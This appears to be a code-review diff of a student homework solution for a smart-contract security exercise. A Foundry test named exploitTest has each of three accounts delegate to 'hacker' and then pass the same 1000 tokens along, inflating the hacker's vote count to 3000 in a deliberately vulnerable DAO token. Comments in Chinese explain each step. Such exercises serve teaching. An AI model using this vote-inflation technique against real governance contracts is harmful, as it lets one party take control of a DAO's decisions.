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Z24028012 HW Review #7

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Z24028012 HW Review #7

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2 changes: 1 addition & 1 deletion w2/src/DaoToken.sol
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Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract DaoToken is ERC20("Dao Token", "DaoToken") {
address public owner;
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13 changes: 13 additions & 0 deletions w2/test/DaoToken.t.sol
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Expand Up @@ -24,6 +24,19 @@ contract exploitTest is Test {
vm.startPrank(alice);

// write your solution here
// hacker以 alice 的private-key操作，將自己設為代表，此時獲得 1000 votes
daoToken.delegate(hacker);
daoToken.transfer(carol, 1000);

//hacker以 carol 的private-key操作，將自己設為代表，此時獲得 2000 votes
vm.startPrank(carol);
daoToken.delegate(hacker);
daoToken.transfer(bob, 1000);

//hacker以 bob 的private-key操作，將自己設為代表，此時獲得 3000 votes
vm.startPrank(bob);
daoToken.delegate(hacker);
daoToken.transfer(hacker, 1000);

vm.stopPrank();

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